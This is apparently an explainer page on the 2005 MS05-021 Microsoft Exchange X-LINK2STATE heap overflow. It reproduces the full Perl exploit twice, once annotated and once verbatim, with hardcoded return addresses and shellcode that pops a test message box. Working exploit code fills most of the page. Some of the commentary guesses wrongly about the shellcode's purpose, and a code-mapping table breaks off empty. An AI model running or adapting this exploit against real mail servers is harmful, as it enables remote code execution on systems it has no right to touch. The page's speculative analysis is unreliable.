Understanding MS05-021: A Deep Dive into the Exchange X-LINK2STATE Exploit

Understanding MS05-021: A Deep Dive into the Exchange X-LINK2STATE Exploit
What this paper is
This paper details a remote code execution vulnerability in Microsoft Exchange Server, specifically related to the X-LINK2STATE command. The exploit, authored by Evgeny Pinchuk, leverages a heap overflow condition to gain control of the server's execution flow. It was published on April 19, 2005, and is a classic example of how malformed input can lead to system compromise.
Simple technical breakdown
The core of this exploit lies in how Microsoft Exchange Server handles the X-LINK2STATE command. When a specially crafted, oversized X-LINK2STATE command is sent, it causes a buffer overflow on the server's heap. This overflow overwrites critical data structures, including pointers that control program execution.
The exploit then injects malicious code (shellcode) into the overflowed buffer. By carefully controlling the overwritten pointers, the exploit redirects the server's execution to this injected shellcode, allowing an attacker to run arbitrary commands on the compromised server.
The exploit uses a two-stage approach:
- Triggering the overflow: Sending a large, malformed
X-LINK2STATEcommand to cause the heap overflow. - Executing shellcode: Overwriting execution control to jump to the injected shellcode, which then performs the attacker's desired actions.
Complete code and payload walkthrough
This Perl script orchestrates the attack by sending specific network packets to the vulnerable Exchange server.
#!/bin/perl
#
#
# MS05-021 Exchange X-LINK2STATE Heap Overflow
# Author: Evgeny Pinchuk
# For educational purposes only.
#
# Tested on:
# Windows 2000 Server SP4 EN
# Microsoft Exchange 2000 SP3
#
# Thanks and greets:
# Halvar Flake (thx for the right directions)
# Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
#
#
use IO::Socket::INET; # Imports the module for network socket operations.
my $host = shift(@ARGV); # Gets the target hostname/IP from the command-line arguments.
my $port = 25; # Sets the target port to 25 (SMTP, commonly used by Exchange).
my $reply; # Variable to store server responses.
my $request; # Variable to store outgoing requests to the server.
# These are crucial for controlling execution flow after the overflow.
# They are specific memory addresses or offsets that the exploit aims to overwrite.
my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll) - Likely a jump to a function within rpcrt4.dll.
my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter - A pointer to an exception handler.
my $JMP="\xEB\x10"; # Short jump instruction (2 bytes).
# This is the shellcode. It's a sequence of machine instructions designed to be executed by the CPU.
# The exact functionality of this shellcode is not fully detailed in the provided snippet,
# but it typically aims to establish a remote shell or execute commands.
my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" .
"\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" .
"\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0d\x31\xd2\x52\x51" .
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" .
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" .
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" .
"\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e";
# The command prefix used to send the exploit data.
my $cmd="X-LINK2STATE CHUNK=";
# --- First Connection and Initial Probing ---
# Creates a TCP socket to connect to the target host on the specified port.
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n"; # Exits if connection fails.
# Receives initial banner/greeting from the server.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the server's response.
# Sends the EHLO command, a standard SMTP command to identify the client.
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n"; # Indicates EHLO was sent.
# Receives the EHLO response from the server.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the EHLO response.
# --- First Chunk: Triggering the Overflow ---
# Sends the first part of the exploit payload.
# It's a large string of 'A's (0x41) to start filling the buffer.
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 1st chunk\n"; # Indicates the first chunk was sent.
# Receives the server's response after the first chunk.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the response.
# --- Second Chunk: Delivering the Exploit Payload ---
# This is the critical part where the exploit data is constructed.
# "A"x30: Padding to reach a specific offset before the overwrite.
# $JMP: A short jump instruction.
# $EAX: A value that will likely be placed in the EAX register, used for indirect calls.
# $ECX: A value that will likely be placed in the ECX register, potentially pointing to an exception handler.
# "B"x100: More padding.
# $SC: The actual shellcode.
$request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC;
# Calculates the remaining space needed to fill the buffer up to a certain size (1000 bytes in this case).
my $left=1000-length($request);
$request = $request . "C"x$left; # Fills the rest of the buffer with 'C's.
# Constructs the final request with the command prefix and the crafted payload.
$request = $cmd . $request . "\r\n";
send $socket, $request, 0;
print "[+] Sent 2nd chunk\n"; # Indicates the second chunk was sent.
# Receives the server's response after the second chunk. This response might indicate success or failure.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the response.
# Closes the first socket connection.
close $socket;
# --- Second Connection and Verification ---
# Opens a new connection to the server. This is often done to check if the exploit
# has successfully taken over execution or to send further commands if the shellcode
# establishes a listener.
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
# Receives the initial banner again.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the response.
# Sends EHLO again. This is a common practice to re-establish communication after an exploit.
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n"; # Indicates EHLO was sent.
# Receives the EHLO response.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the response.
# Sends a third chunk, similar to the first, likely to confirm the server is still responsive
# or to trigger further actions if the shellcode is designed to respond to subsequent commands.
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 3rd chunk\n"; # Indicates the third chunk was sent.
# Receives the final response.
recv($socket, $reply, 1024, 0);
print "Response:" . $reply; # Prints the response.
# Closes the final socket connection.
close $socket;
# milw0rm.com [2005-04-19]Shellcode Breakdown ($SC):
The shellcode is a sequence of bytes representing machine instructions. Without a disassembler, a precise step-by-step analysis of every byte is complex. However, based on common shellcode patterns and the context of this exploit (remote code execution), we can infer its likely purpose.
- Initialization: The initial bytes (
\x31\xc0\x31\xdb\x31\xc9\x31\xd2) are common for clearing registers (e.g.,XOR EAX, EAX,XOR EBX, EBX, etc.). This sets up the environment for the shellcode. - Heap Manipulation/Jumping: The sequence
\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01\x59\x7C\x51\xff\xd3\xeb\x39and similar patterns suggest operations that might involve manipulating heap structures or preparing for indirect calls. The\xff\xd3(CALL EBX) or\xff\xd0(CALL EAX) are common ways to execute code at a dynamically determined address. - Loading Libraries/Functions: The bytes
\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6cspell out "user32.dll". The subsequent bytes\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41and\x4d\x53\x30\x35\x2d\x30\x32\x31\x20\x54\x65\x73\x74\x4eare likely strings used to locate functions within loaded DLLs, such asMessageBoxAor other Windows API functions. The\xe8instruction is a relative call, often used to jump to dynamically resolved function addresses.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
#!/bin/perl
#
#
# MS05-021 Exchange X-LINK2STATE Heap Overflow
# Author: Evgeny Pinchuk
# For educational purposes only.
#
# Tested on:
# Windows 2000 Server SP4 EN
# Microsoft Exchange 2000 SP3
#
# Thanks and greets:
# Halvar Flake (thx for the right directions)
# Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
#
#
use IO::Socket::INET;
my $host = shift(@ARGV);
my $port = 25;
my $reply;
my $request;
my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll)
my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter
my $JMP="\xEB\x10";
my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" .
"\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" .
"\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" .
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" .
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" .
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" .
"\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e";
my $cmd="X-LINK2STATE CHUNK=";
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 1st chunk\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC;
my $left=1000-length($request);
$request = $request . "C"x$left;
$request = $cmd . $request . "\r\n";
send $socket, $request, 0;
print "[+] Sent 2nd chunk\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
close $socket;
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "EHLO\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = $cmd . "A"x1000 . "\r\n";
send $socket, $request, 0;
print "[+] Sent 3rd chunk\n";
close $socket;
# milw0rm.com [2005-04-19]